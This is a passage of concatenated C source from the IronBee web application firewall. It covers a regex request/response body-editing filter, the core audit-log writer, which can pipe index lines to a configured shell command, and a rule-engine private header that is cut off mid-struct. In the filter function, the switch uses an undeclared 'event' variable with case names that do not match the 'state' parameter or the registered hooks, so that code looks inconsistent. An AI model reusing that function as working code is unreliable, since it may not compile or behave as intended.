isdigit(*p)) { ch = *p++ - '0'; } else { ch = MAX_RX_MATCH; } if (ch < MAX_RX_MATCH) { len = pmatch[ch].rm_eo - pmatch[ch].rm_so; memcpy(retp, src + pmatch[ch].rm_so, len); retp += len; } else { if (c == '\\' && *p) { c = *++p; } *retp++ = c; } } return ret; } /** * Ironbee filter function to apply regexp edits * @param[in] ib - the engine * @param[in] tx - the transaction * @param[in] state - Request Data or Response Data stte * @param[in] data - data to process * @param[in] data_length - data length in bytes * @return success or error */ static ib_status_t rxfilter(ib_engine_t *ib, ib_tx_t *tx, ib_state_t state, const char *data, size_t data_length, void *cbdata ) { const ib_server_t *svr; rxfilter_cfg_t *cfg; rxfilter_ctx_t *ctx; rxfilter_buffer_t *rxbuf; ib_array_t *regexps; rxop_t *rx; ib_server_direction_t dir; char *buf; const char *p; size_t len; size_t hwm = 0; unsigned int i; size_t nelts; ib_status_t rc; int rv; regmatch_t pmatch[MAX_RX_MATCH]; const char *repl; size_t repl_len; off_t start; size_t delbytes; ib_module_t *m; /* retrieve svr, ctx and cfg; initialise ctx if first call */ svr = ib_engine_server_get(ib); rc = ib_engine_module_get(ib, MODULE_NAME_STR, &m); assert((rc == IB_OK) && (m != NULL)); rc = ib_context_module_config(ib_context_main(ib), m, &cfg); assert((rc == IB_OK) && (cfg != NULL)); /* returns ENOENT if module data not set */ rc = ib_tx_get_module_data(tx, m, &ctx); if (rc == IB_ENOENT || ctx == NULL) { ctx = ib_mm_alloc(tx->mm, sizeof(rxfilter_ctx_t)); ctx->reqbuf.offs = ctx->respbuf.offs = 0; ctx->reqbuf.errnum = ctx->respbuf.errnum = IB_OK; ctx->reqbuf.data = ctx->respbuf.data = NULL; rc = ib_tx_set_module_data(tx, m, ctx); assert (rc == IB_OK); } /* Select the req or resp fields according to event */ switch (event) { case request_body_data_event: dir = IB_SERVER_REQUEST; rxbuf = &ctx->reqbuf; regexps = cfg->req_edits; break; case response_body_data_event: dir = IB_SERVER_RESPONSE; rxbuf = &ctx->respbuf; regexps = cfg->resp_edits; break; default: ib_log_error_tx(tx, "Bogus call to rxfilter"); return IB_EINVAL; } if (rxbuf->errnum != IB_OK) { /* we had an error that we expect to repeat, so don't bother */ return rxbuf->errnum; } if (regexps == NULL) { /* Nothing to do now, but keep byte count */ rxbuf->offs += data_length; return IB_OK; } if (rxbuf->data == NULL) { /* first call. No existing data */ rc = ib_bytestr_dup_mem(&rxbuf->data, tx->mm, (const uint8_t*)data, data_length + 1); } else { /* merge with any buffered data and null-terminate */ rc = ib_bytestr_append_mem(rxbuf->data, (const uint8_t*)data, data_length + 1); } if (rc != IB_OK) { rxbuf->errnum = rc; ib_log_error_tx(tx, "Error in rxfilter - aborting"); return rc; } buf = (char*) ib_bytestr_ptr(rxbuf->data); len = ib_bytestr_length(rxbuf->data) - 1; buf[len] = '\0'; /* apply regexps; keep high water mark */ nelts = ib_array_elements(regexps); for (i = 0; i < nelts; ++i) { rc = ib_array_get(regexps, i, &rx); if (rc != IB_OK) { rxbuf->errnum = rc; ib_log_error_tx(tx, "Error in rxfilter - aborting"); return rc; } p = buf; for (rv = regexec(&rx->rx, p, MAX_RX_MATCH, pmatch, 0); rv != REG_NOMATCH; rv = regexec(&rx->rx, p, MAX_RX_MATCH, pmatch, 0)) { if (rv != 0) { char ebuf[256]; regerror(rv, &rx->rx, ebuf, 256); ib_log_error_tx(tx, "regexp error: %s", ebuf); break; } if (rx->rxtype == RX_DELETE) { repl = NULL; repl_len = 0; } else { repl = rx_repl(tx->mm, p, pmatch, rx->repl, &repl_len); } if (rx->rxtype == RX_AFTER) { start = rxbuf->offs + (p-buf) + pmatch[0].rm_eo; } else { start = rxbuf->offs + (p-buf) + pmatch[0].rm_so; } if (rx->rxtype == RX_AFTER || rx->rxtype == RX_BEFORE) { delbytes = 0; } else { delbytes = pmatch[0].rm_eo - pmatch[0].rm_so; } rc = svr->body_edit_fn(tx, dir, start, delbytes, repl, repl_len, NULL); if (rc != IB_OK) { /* FIXME - should probably be nonfatal. * But we want to avoid huge reams of NOTIMPL */ rxbuf->errnum = rc; ib_log_error_tx(tx, "Edit error %d - aborting", rc); return rc; } p += pmatch[0].rm_eo; if ((size_t)(p - buf) > hwm) { hwm = p - buf; } } } /* Buffer any dangling data */ /* Definition of dangling is the smallest of: * 1. Data after the last regexp edit we just applied * 2. Data after the last lineend (excludes matches that span lineends) * 3. Max byte amount: FIXME - where to limit it? */ p = strrchr(buf, '\n'); if (p) { i = p - buf; if (i > hwm) { hwm = i; /* or i+1? */ } } if (len - hwm > MAX_BUFFER) { hwm = len - MAX_BUFFER; } /* Now forget hwm bytes, buffer the rest */ rxbuf->offs += hwm; rc = ib_bytestr_setv(rxbuf->data, (uint8_t*)&buf[hwm], len - hwm); if (rc != IB_OK) { rxbuf->errnum = rc; ib_log_error_tx(tx, "Error in rxfilter - aborting"); return rc; } return IB_OK; } /** * Initialisation: register our handler for Request and Response data events * * @param[in] ib - the engine * @param[in] m - the module * @return - Success */ static ib_status_t rxfilter_init(ib_engine_t *ib, ib_module_t *m, void *cbdata) { ib_status_t rc; rc = ib_hook_txdata_register(ib, request_body_data_state, rxfilter, NULL); assert(rc == IB_OK); rc = ib_hook_txdata_register(ib, response_body_data_state, rxfilter, NULL); assert(rc == IB_OK); return rc; } /** * Parse a regexp op from ironbee.conf to internal rxop_t * * @param[in] cp - Configuration parser * @param[in] name - directive name * @param[in] param - directive value * @return success or parse or regcomp error */ static ib_status_t rxop_conf(ib_cfgparser_t *cp, const char *name, const char *param, void *dummy) { ib_module_t *m; rxfilter_cfg_t *cfg; ib_status_t rc; int rxflags; const char *startp; const char *endp; const char *rxstr; char sep; rxop_t *rxop = ib_mm_alloc(cp->mm, sizeof(rxop_t)); /* parse regex expr */ /* first char is op. */ switch(param[0]) { case 'a': rxop->rxtype = RX_AFTER; break; case 'b': rxop->rxtype = RX_BEFORE; break; case 'd': rxop->rxtype = RX_DELETE; break; case 's': rxop->rxtype = RX_SUBS; break; default: ib_log_error(cp->ib, "Failed to parse %s as rx rule", param); return IB_EINVAL; } sep = param[1]; if (!sep) { ib_log_error(cp->ib, "Failed to parse %s as rx rule", param); return IB_EINVAL; } startp = param+2; endp = strchr(startp, sep); if (!endp || startp == endp) { ib_log_error(cp->ib, "Failed to parse %s as rx rule", param); return IB_EINVAL; } rxstr = ib_mm_memdup_to_str(cp->mm, startp, endp-startp); /* Unless it's a DELETE, there's a replacement string next */ if (rxop->rxtype == RX_DELETE) { rxop->repl = NULL; } else { startp = endp + 1; endp = strchr(startp, sep); if (!endp || startp == endp) { ib_log_error(cp->ib, "Failed to parse %s as rx rule", param); return IB_EINVAL; } rxop->repl = ib_mm_memdup_to_str(cp->mm, startp, endp-startp); } /* Flags after the last separator */ rxflags = REG_EXTENDED; startp = endp + 1; if (strchr(startp, 'i')) { rxflags |= REG_ICASE; } if (regcomp (&rxop->rx, rxstr, rxflags) == 0) { rc = ib_mm_register_cleanup(cp->mm, (ib_mm_cleanup_fn_t)regfree, &rxop->rx); assert(rc == IB_OK); } else { ib_log_error(cp->ib, "Failed to compile '%s' as regexp", rxstr); return IB_EINVAL; } rc = ib_engine_module_get(cp->ib, MODULE_NAME_STR, &m); assert((rc == IB_OK) && (m != NULL)); rc = ib_context_module_config(ib_context_main(cp->ib), m, &cfg); assert((rc == IB_OK) && (cfg != NULL)); /* add it to {direction} list */ /* FIXME - these asserts need to be replaced */ if (!strcasecmp(name, "RxOpRequest")) { if (!cfg->req_edits) { rc = ib_array_create(&cfg->req_edits, cp->mm, 4, 4); assert((rc == IB_OK) && (cfg->req_edits != NULL)); } rc = ib_array_appendn(cfg->req_edits, rxop); } else if (!strcasecmp(name, "RxOpResponse")) { if (!cfg->resp_edits) { rc = ib_array_create(&cfg->resp_edits, cp->mm, 4, 4); assert((rc == IB_OK) && (cfg->resp_edits != NULL)); } rc = ib_array_appendn(cfg->resp_edits, rxop); } assert(rc == IB_OK); return IB_OK; } /* Declare directives to edit a Request or Response */ static IB_DIRMAP_INIT_STRUCTURE(rxfilter_config) = { IB_DIRMAP_INIT_PARAM1( "RxOpRequest", rxop_conf, NULL ), IB_DIRMAP_INIT_PARAM1( "RxOpResponse", rxop_conf, NULL ), IB_DIRMAP_INIT_LAST }; static rxfilter_cfg_t rxfilter_cfg_ini = { NULL, NULL }; IB_MODULE_INIT( IB_MODULE_HEADER_DEFAULTS, /**< Default metadata */ MODULE_NAME_STR, /**< Module name */ IB_MODULE_CONFIG(&rxfilter_cfg_ini), /**< Global config data */ NULL, /**< Configuration field map */ rxfilter_config, /**< Config directive map */ rxfilter_init, NULL, /**< Initialize function */ NULL, NULL, /**< Finish function */ );
crustymonkey/ironbee
engine/core_audit.c
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ /** * @file * @brief IronBee --- Core Module * * @author <NAME> <<EMAIL>> */ #include "ironbee_config_auto.h" #include "core_audit_private.h" #include "core_private.h" #include "engine_private.h" #include <ironbee/context.h> #include <ironbee/core.h> #include <ironbee/engine_types.h> #include <ironbee/path.h> #include <ironbee/rule_logger.h> #include <ironbee/util.h> #include <assert.h> #include <errno.h> #include <fcntl.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> /* POSIX doesn't define O_BINARY */ #ifndef O_BINARY #define O_BINARY 0 #endif typedef struct { ib_core_audit_cfg_t *cfg; ib_auditlog_t *log; const ib_tx_t *tx; const ib_conn_t *conn; const ib_site_t *site; } auditlog_callback_data_t; /* The default shell to use for piped commands. */ static const char * const ib_pipe_shell = "/bin/sh"; static const size_t LOGFORMAT_MAX_LINE_LENGTH = 8192; ib_status_t core_audit_open_auditfile(ib_engine_t *ib, ib_auditlog_t *log, ib_core_audit_cfg_t *cfg, ib_core_cfg_t *corecfg) { const int dtmp_sz = 64; const int dn_sz = 512; char *dtmp = (char *)malloc(dtmp_sz); char *dn = (char *)malloc(dn_sz); char *audit_filename; size_t audit_filename_sz; char *temp_filename; size_t temp_filename_sz; int fd; const time_t log_seconds = IB_CLOCK_SECS(log->tx->t.logtime); int sys_rc; ib_status_t ib_rc; struct tm gmtime_result; const ib_site_t *site; if (dtmp == NULL || dn == NULL) { if (dtmp != NULL) { free(dtmp); } if (dn != NULL) { free(dn); } return IB_EALLOC; } gmtime_r(&log_seconds, &gmtime_result); /* Generate the audit log filename template. */ if (*(corecfg->auditlog_sdir_fmt) != 0) { size_t ret = strftime(dtmp, dtmp_sz, corecfg->auditlog_sdir_fmt, &gmtime_result); if (ret == 0) { /// @todo Better error - probably should validate at cfg time ib_log_error(log->ib, "Failed to create audit log filename template, " "using default:" " name too long"); *dtmp = 0; } } else { *dtmp = 0; } /* Generate the full audit log directory name. */ sys_rc = snprintf(dn, dn_sz, "%s%s%s", corecfg->auditlog_dir, (*dtmp)?"/":"", dtmp); if (sys_rc >= dn_sz) { /// @todo Better error. ib_log_error(log->ib, "Failed to create audit log directory: name too long"); free(dtmp); free(dn); return IB_EINVAL; } /* Get the site */ ib_rc = ib_context_site_get(log->ctx, &site); if (ib_rc != IB_OK) { free(dtmp); free(dn); return ib_rc; } /* Generate the full audit log filename. */ if (site != NULL) { audit_filename_sz = strlen(dn) + strlen(cfg->tx->id) + strlen(site->id) + 7; audit_filename = (char *)ib_mm_alloc(cfg->tx->mm, audit_filename_sz); sys_rc = snprintf(audit_filename, audit_filename_sz, "%s/%s_%s.log", dn, cfg->tx->id,site->id); } else { audit_filename_sz = strlen(dn) + strlen(cfg->tx->id) + 6; audit_filename = (char *)ib_mm_alloc(cfg->tx->mm, audit_filename_sz); sys_rc = snprintf(audit_filename, audit_filename_sz, "%s/%s.log", dn, cfg->tx->id); } if (sys_rc >= (int)audit_filename_sz) { /// @todo Better error. ib_log_error(log->ib, "Failed to create audit log filename: name too long"); ib_rule_log_add_audit(cfg->tx->rule_exec, audit_filename, true); free(dtmp); free(dn); return IB_EINVAL; } ib_rc = ib_util_mkpath(dn, corecfg->auditlog_dmode); if (ib_rc != IB_OK) { ib_log_error(log->ib, "Failed to create audit log dir: %s", dn); ib_rule_log_add_audit(cfg->tx->rule_exec, audit_filename, true); free(dtmp); free(dn); return ib_rc; } // Create temporary filename to use while writing the audit log temp_filename_sz = strlen(audit_filename) + 6; temp_filename = (char *)ib_mm_alloc(cfg->tx->mm, temp_filename_sz); if (temp_filename == NULL) { free(dtmp); free(dn); return IB_EALLOC; } sys_rc = snprintf(temp_filename, temp_filename_sz, "%s.part", audit_filename); if (sys_rc >= (int)temp_filename_sz) { /// @todo Better error. ib_log_error(log->ib, "Failed to create temporary audit log filename: name too long"); ib_rule_log_add_audit(cfg->tx->rule_exec, audit_filename, true); free(dtmp); free(dn); return IB_EINVAL; } /* Open the file. Use open() & fdopen() to avoid chmod() */ fd = open(temp_filename, (O_WRONLY|O_APPEND|O_CREAT|O_BINARY), corecfg->auditlog_fmode); if (fd >= 0) { cfg->fp = fdopen(fd, "ab"); if (cfg->fp == NULL) { close(fd); } } if ( (fd < 0) || (cfg->fp == NULL) ) { sys_rc = errno; ib_log_error(log->ib, "Error opening audit log \"%s\": %s (%d)", temp_filename, strerror(sys_rc), sys_rc); ib_rule_log_add_audit(cfg->tx->rule_exec, audit_filename, true); free(dtmp); free(dn); return IB_EINVAL; } /* Track the relative audit log filename. */ cfg->fn = audit_filename + (strlen(corecfg->auditlog_dir) + 1); cfg->full_path = audit_filename; cfg->temp_path = temp_filename; /* Log it via the rule logger */ ib_rule_log_add_audit(cfg->tx->rule_exec, audit_filename, false); free(dtmp); free(dn); return IB_OK; } ib_status_t core_audit_open_auditindexfile(ib_engine_t *ib, ib_auditlog_t *log, ib_core_audit_cfg_t *cfg, ib_core_cfg_t *corecfg) { char* index_file; size_t index_file_sz; ib_status_t ib_rc; int sys_rc; if (log->ctx->auditlog->index == NULL) { return IB_OK; } /* Lock the auditlog configuration for the context. * We lock up here to ensure that external resources are not * double-opened instead of locking only the assignment to * log->ctx->auditlog->index_fp at the bottom of this block. */ ib_lock_lock(&log->ctx->auditlog->index_fp_lock); if (log->ctx->auditlog->index[0] == '/') { index_file_sz = strlen(log->ctx->auditlog->index) + 1; index_file = (char *)ib_mm_alloc(cfg->tx->mm, index_file_sz); if (index_file == NULL) { ib_lock_unlock(&log->ctx->auditlog->index_fp_lock); return IB_EALLOC; } memcpy(index_file, log->ctx->auditlog->index, index_file_sz); } else if (log->ctx->auditlog->index[0] == '|') { /// @todo Probably should skip whitespace??? index_file_sz = strlen(log->ctx->auditlog->index + 1) + 1; index_file = (char *)ib_mm_alloc(cfg->tx->mm, index_file_sz); if (index_file == NULL) { ib_lock_unlock(&log->ctx->auditlog->index_fp_lock); return IB_EALLOC; } memcpy(index_file, log->ctx->auditlog->index + 1, index_file_sz); } else { ib_rc = ib_util_mkpath(corecfg->auditlog_dir, corecfg->auditlog_dmode); if (ib_rc != IB_OK) { ib_log_error(log->ib, "Failed to create audit log dir: %s", corecfg->auditlog_dir); ib_lock_unlock(&log->ctx->auditlog->index_fp_lock); return ib_rc; } index_file_sz = strlen(corecfg->auditlog_dir) + strlen(log->ctx->auditlog->index) + 2; index_file = (char *)ib_mm_alloc(cfg->tx->mm, index_file_sz); if (index_file == NULL) { ib_lock_unlock(&log->ctx->auditlog->index_fp_lock); return IB_EALLOC; } sys_rc = snprintf(index_file, index_file_sz, "%s/%s", corecfg->auditlog_dir, log->ctx->auditlog->index); if ((size_t)sys_rc >= index_file_sz) { ib_log_error(log->ib, "Failed to create audit log index \"%s/%s\":" " name too long", corecfg->auditlog_dir, log->ctx->auditlog->index); ib_lock_unlock(&log->ctx->auditlog->index_fp_lock); return IB_EINVAL; } } if (log->ctx->auditlog->index[0] == '|') { int p[2]; pid_t pipe_pid; /// @todo Handle exit of pipe_pid??? sys_rc = pipe(p); if (sys_rc != 0) { ib_log_error(log->ib, "Error creating piped audit log index: %s (%d)", strerror(errno), errno); ib_lock_unlock(&log->ctx->auditlog->index_fp_lock); return IB_EINVAL; } /* Create a new process for executing the piped command. */ pipe_pid = fork(); if (pipe_pid == 0) { /* Child - piped audit log index process */ char *parg[4]; /// @todo Reset SIGCHLD in child??? /* Setup the filehandles to read from pipe. */ close(3); /// @todo stderr close(p[1]); dup2(p[0], 0); /* Execute piped command. */ parg[0] = (char *)ib_pipe_shell; parg[1] = (char *)"-c"; parg[2] = index_file; parg[3] = NULL; execvp(ib_pipe_shell, (char * const *)parg); /// @todo define shell sys_rc = errno; ib_log_error(log->ib, "Error executing piped audit log index " "\"%s\": %s (%d)", index_file, strerror(sys_rc), sys_rc); exit(1); } else if (pipe_pid == -1) { /* Error - no process created */ sys_rc = errno; ib_log_error(log->ib, "Error creating piped audit log index process: " "%s (%d)", strerror(sys_rc), sys_rc); ib_lock_unlock(&log->ctx->auditlog->index_fp_lock); return IB_EINVAL; } /* Parent - IronBee process */ /* Setup the filehandles to write to the pipe. */ close(p[0]); cfg->index_fp = fdopen(p[1], "w"); if (cfg->index_fp == NULL) { sys_rc = errno; ib_log_error(log->ib, "Error opening piped audit log index: %s (%d)", strerror(sys_rc), sys_rc); ib_lock_unlock(&log->ctx->auditlog->index_fp_lock); return IB_EINVAL; } } else { /// @todo Use corecfg->auditlog_fmode as file mode for new file cfg->index_fp = fopen(index_file, "ab"); if (cfg->index_fp == NULL) { sys_rc = errno; ib_log_error(log->ib, "Error opening audit log index \"%s\": %s (%d)", index_file, strerror(sys_rc), sys_rc); ib_lock_unlock(&log->ctx->auditlog->index_fp_lock); return IB_EINVAL; } } log->ctx->auditlog->index_fp = cfg->index_fp; ib_lock_unlock(&log->ctx->auditlog->index_fp_lock); return IB_OK; } ib_status_t core_audit_open(ib_engine_t *ib, ib_auditlog_t *log) { ib_core_audit_cfg_t *cfg = (ib_core_audit_cfg_t *)log->cfg_data; ib_core_cfg_t *corecfg; ib_status_t rc; /* Non const struct we will build and then assign to * corecfg->auditlog_index_hp. */ ib_logformat_t *auditlog_index_hp; assert(NULL != log); assert(NULL != log->ctx); assert(NULL != log->ctx->auditlog); rc = ib_core_context_config(log->ctx, &corecfg); if (rc != IB_OK) { ib_log_error(log->ib, "Error fetching core configuration: %s", ib_status_to_string(rc) ); return rc; } assert(NULL != corecfg); /* Copy the FILE* into the ib_core_audit_cfg_t. */ if (log->ctx->auditlog->index_fp != NULL) { cfg->index_fp = log->ctx->auditlog->index_fp; } /* If we have a file name but no file pointer, assign cfg->index_fp. */ else if ((log->ctx->auditlog->index != NULL) && (cfg->index_fp == NULL)) { /** * Open the audit log index file. If the file name starts with * a | a pipe is opened to a subprocess, etc... */ rc = core_audit_open_auditindexfile(ib, log, cfg, corecfg); if (rc != IB_OK) { ib_log_error(log->ib, "Failed to open auditlog index."); return rc; } } /* Open audit file that contains the record identified by the line * written in index_fp. */ if (cfg->fp == NULL) { rc = core_audit_open_auditfile(ib, log, cfg, corecfg); if (rc!=IB_OK) { ib_log_error(log->ib, "Failed to open audit log file."); return rc; } } /* Set the Audit Log index format */ if (corecfg->auditlog_index_hp == NULL) { rc = ib_logformat_create( ib_engine_mm_main_get(log->ib), &auditlog_index_hp ); if (rc != IB_OK) { return rc; } if (corecfg->auditlog_index_fmt != NULL) { rc = ib_logformat_parse(auditlog_index_hp, corecfg->auditlog_index_fmt); } else { rc = ib_logformat_parse(auditlog_index_hp, IB_LOGFORMAT_DEFAULT); } if (rc != IB_OK) { return rc; } /* Commit built struct. */ corecfg->auditlog_index_hp = auditlog_index_hp; } /* Notify all handlers that the given audit log has been opened. */ rc = ib_core_dispatch_auditlog( log->tx, IB_CORE_AUDITLOG_OPENED, log); if (rc != IB_OK) { ib_log_error(log->ib, "Failed to dispatch auditlog to handlers."); return rc; } return IB_OK; } ib_status_t core_audit_write_header(ib_engine_t *ib, ib_auditlog_t *log) { ib_core_audit_cfg_t *cfg = (ib_core_audit_cfg_t *)log->cfg_data; char header[256]; size_t hlen; int ret = snprintf(header, sizeof(header), "MIME-Version: 1.0\r\n" "Content-Type: multipart/mixed; boundary=%s\r\n" "X-IronBee-AuditLog: type=multipart; version=%d\r\n" "\r\n" "This is a multi-part message in MIME format.\r\n" "\r\n", cfg->boundary, IB_AUDITLOG_VERSION); if ((size_t)ret >= sizeof(header)) { /* Did not fit in buffer. Since this is currently a more-or-less * fixed size, we abort here as this is a programming error. */ abort(); } hlen = strlen(header); if (fwrite(header, hlen, 1, cfg->fp) != 1) { ib_log_error(ib, "Failed to write audit log header."); return IB_EUNKNOWN; } fflush(cfg->fp); return IB_OK; } ib_status_t core_audit_write_part(ib_engine_t *ib, ib_auditlog_part_t *part) { ib_auditlog_t *log = part->log; ib_core_audit_cfg_t *cfg = (ib_core_audit_cfg_t *)log->cfg_data; const uint8_t *chunk; size_t chunk_size; /* Write the MIME boundary and part header */ fprintf(cfg->fp, "\r\n--%s" "\r\nContent-Disposition: audit-log-part; name=\"%s\"" "\r\nContent-Transfer-Encoding: binary" "\r\nContent-Type: %s" "\r\n\r\n", cfg->boundary, part->name, part->content_type); /* Write the part data. */ while((chunk_size = part->fn_gen(part, &chunk)) != 0) { if (fwrite(chunk, chunk_size, 1, cfg->fp) != 1) { ib_log_error(ib, "Failed to write audit log part."); fflush(cfg->fp); return IB_EUNKNOWN; } cfg->parts_written++; } /* Finish the part. */ fflush(cfg->fp); return IB_OK; } ib_status_t core_audit_write_footer(ib_engine_t *ib, ib_auditlog_t *log) { ib_core_audit_cfg_t *cfg = (ib_core_audit_cfg_t *)log->cfg_data; if (cfg->parts_written > 0) { fprintf(cfg->fp, "\r\n--%s--\r\n", cfg->boundary); } return IB_OK; } static ib_status_t audit_add_line_item(const ib_logformat_t *lf, const ib_logformat_field_t *field, const void *cbdata, const char **str) { const auditlog_callback_data_t *logdata = (const auditlog_callback_data_t *)cbdata; switch (field->fchar) { case IB_LOG_FIELD_REMOTE_ADDR: *str = logdata->tx->remote_ipstr; break; case IB_LOG_FIELD_LOCAL_ADDR: *str = logdata->conn->local_ipstr; break; case IB_LOG_FIELD_HOSTNAME: *str = logdata->tx->hostname; break; case IB_LOG_FIELD_SITE_ID: if (logdata->site == NULL) { *str = (char *)"-"; } else { *str = logdata->site->id; } break; case IB_LOG_FIELD_SENSOR_ID: *str = logdata->log->ib->sensor_id; break; case IB_LOG_FIELD_TRANSACTION_ID: *str = logdata->tx->id; break; case IB_LOG_FIELD_TIMESTAMP: { char *tstamp = NULL; /* Prepare timestamp (only if needed) */ tstamp = (char *)ib_mm_alloc(logdata->log->mm, 30); if (tstamp == NULL) { return IB_EALLOC; } ib_clock_timestamp(tstamp, &logdata->tx->tv_created); *str = tstamp; break; } case IB_LOG_FIELD_LOG_FILE: *str = logdata->cfg->fn; break; default: *str = "\n"; /* Not understood */ return IB_EINVAL; } return IB_OK; } static ib_status_t core_audit_get_index_line(ib_engine_t *ib, ib_auditlog_t *log, char *line, size_t line_size, size_t *line_len) { assert(ib != NULL); assert(log != NULL); assert(line != NULL); assert(line_size > 0); assert(line_len != NULL); assert(log->tx != NULL); ib_core_audit_cfg_t *cfg = (ib_core_audit_cfg_t *)log->cfg_data; ib_core_cfg_t *corecfg; ib_tx_t *tx = log->tx; ib_conn_t *conn = tx->conn; const ib_site_t *site; const ib_logformat_t *lf; ib_status_t rc; auditlog_callback_data_t cbdata; /* Get the site */ rc = ib_context_site_get(log->ctx, &site); if (rc != IB_OK) { return rc; } /* Retrieve corecfg to get the AuditLogIndexFormat */ rc = ib_core_context_config(log->ctx, &corecfg); if (rc != IB_OK) { return rc; } lf = corecfg->auditlog_index_hp; cbdata.cfg = cfg; cbdata.log = log; cbdata.tx = tx; cbdata.conn = conn; cbdata.site = site; rc = ib_logformat_format(lf, line, line_size, line_len, audit_add_line_item, &cbdata); return rc; } ///! Close the auditlog and write to the index file. ib_status_t core_audit_close(ib_engine_t *ib, ib_auditlog_t *log) { ib_core_audit_cfg_t *cfg = (ib_core_audit_cfg_t *)log->cfg_data; ib_core_cfg_t *corecfg; ib_status_t ib_rc = IB_OK; int sys_rc; char *line = NULL; size_t len = 0; line = malloc(LOGFORMAT_MAX_LINE_LENGTH + 2); if (line == NULL) { return IB_EALLOC; } /* Retrieve corecfg to get the AuditLogIndexFormat */ ib_rc = ib_core_context_config(log->ctx, &corecfg); if (ib_rc != IB_OK) { ib_log_alert(log->ib, "Error accessing core module: %s", ib_status_to_string(ib_rc)); goto cleanup; } /* Notify all handlers that the given audit log is about to close. */ ib_rc = ib_core_dispatch_auditlog( log->tx, IB_CORE_AUDITLOG_CLOSED, log); if (ib_rc != IB_OK) { ib_log_error(log->ib, "Failed to dispatch auditlog to handlers."); goto cleanup; } /* Close the audit log. */ if (cfg->fp != NULL) { fclose(cfg->fp); // Rename temp to real sys_rc = rename(cfg->temp_path, cfg->full_path); if (sys_rc != 0) { sys_rc = errno; ib_log_error(log->ib, "Error renaming auditlog %s: %s (%d)", cfg->temp_path, strerror(sys_rc), sys_rc); ib_rc = IB_EOTHER; goto cleanup; } cfg->fp = NULL; } /* Write to the index file if using one. */ if ((cfg->index_fp != NULL) && (cfg->parts_written > 0)) { size_t written; ib_lock_lock(&log->ctx->auditlog->index_fp_lock); ib_rc = core_audit_get_index_line(ib, log, line, LOGFORMAT_MAX_LINE_LENGTH, &len); line[len + 0] = '\n'; line[len + 1] = '\0'; if ( (ib_rc != IB_ETRUNC) && (ib_rc != IB_OK) ) { ib_lock_unlock(&log->ctx->auditlog->index_fp_lock); goto cleanup; } written = fwrite(line, len, 1, cfg->index_fp); if (written == 0) { sys_rc = errno; ib_log_error(log->ib, "Error writing to audit log index: %s (%d)", strerror(sys_rc), sys_rc); /// @todo Should retry (a piped logger may have died) fclose(cfg->index_fp); cfg->index_fp = NULL; log->ctx->auditlog->index_fp = cfg->index_fp; ib_lock_unlock(&log->ctx->auditlog->index_fp_lock); goto cleanup; } fflush(cfg->index_fp); ib_lock_unlock(&log->ctx->auditlog->index_fp_lock); } cleanup: if (line != NULL) { free(line); } return ib_rc; }
crustymonkey/ironbee
engine/rule_engine_private.h
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ #ifndef _IB_RULE_ENGINE_PRIVATE_H_ #define _IB_RULE_ENGINE_PRIVATE_H_ /** * @file * @brief IronBee --- Rule Engine Private Declarations * * These definitions and routines are called by core and nowhere else. * * @author <NAME> <<EMAIL>> */ #include <ironbee/clock.h> #include <ironbee/rule_engine.h> #include <ironbee/types.h> /** * Context-specific rule object. This is the type of the objects * stored in the 'rule_list' field of ib_ruleset_phase_t. */ typedef struct { ib_rule_t *rule; /**< The rule itself */ ib_flags_t flags; /**< Rule flags (IB_RULECTX_FLAG_xx) */ } ib_rule_ctx_data_t; /** * Ruleset for a single phase. * rule_list is a list of pointers to ib_rule_ctx_data_t objects. */ typedef struct { ib_rule_phase_num_t phase_num; /**< Phase number */ const ib_rule_phase_meta_t *phase_meta; /**< Rule phase meta-data */ ib_list_t *rule_list; /**< Rules to execute in phase */ } ib_ruleset_phase_t; /** * Set of rules for all phases. * The elements of the phases list are ib_rule_ctx_data_t objects. */ typedef struct { ib_ruleset_phase_t phases[IB_RULE_PHASE_COUNT]; } ib_ruleset_t; /** * Data on enable directives. */ typedef struct { ib_rule_enable_type_t enable_type; /**< Enable All / by ID / by Tag */ const char *enable_str; /**< String of ID or Tag */ const char *file; /**< Configuration file of enable */ unsigned int lineno; /**< Line number in config file */ } ib_rule_enable_t; /** * Rules data for each context. */ struct ib_rule_context_t { ib_ruleset_t ruleset; /**< Rules to exec */ ib_list_t *rule_list; /**< All rules owned by context */ ib_hash_t *rule_hash; /**< Hash of rules (by rule-id) */ ib_list_t *enable_list; /**< Enable All/IDs/tags */ ib_list_t *disable_list; /**< All/IDs/tags disabled */ ib_rule_parser_data_t parser_data; /**< Rule parser specific data */ }; /** * Rule target fields */ struct ib_rule_target_t { ib_var_target_t *target; const char *target_str; /**< The target string */ ib_list_t *tfn_list; /**< List of transformations */ }; /** * Rule engine. */ struct ib_rule_engine_t { ib_list_t *rule_list; /**< All registered rules. */ ib_hash_t *rule_hash; /**< All rules by rule-id. */ ib_hash_t *external_drivers; /**< Drivers for external rules. */ ib_list_t *ownership_cbs; /**< List of ownership callbacks. */ size_t index_limit; /**< One more than highest rule index. */ /** * Rule injection callbacks. */ ib_list_t *injection_cbs[IB_RULE_PHASE_COUNT]; /* Var Sources */ struct { ib_var_source_t *field; ib_var_source_t *field_target; ib_var_source_t *field_tfn; ib_var_source_t *field_name; ib_var_source_t *field_name_full; } source; /* Hooks */ struct { ib_list_t *pre_rule; ib_list_t *post_rule; ib_list_t *pre_action; ib_list_t *post_action; ib_list_t *pre_operator; ib_list_t *post_operator; } hooks; }; /** * Rule ownership callback object */ struct ib_rule_ownership_cb_t { const char *name; /**< Ownership callback name */ 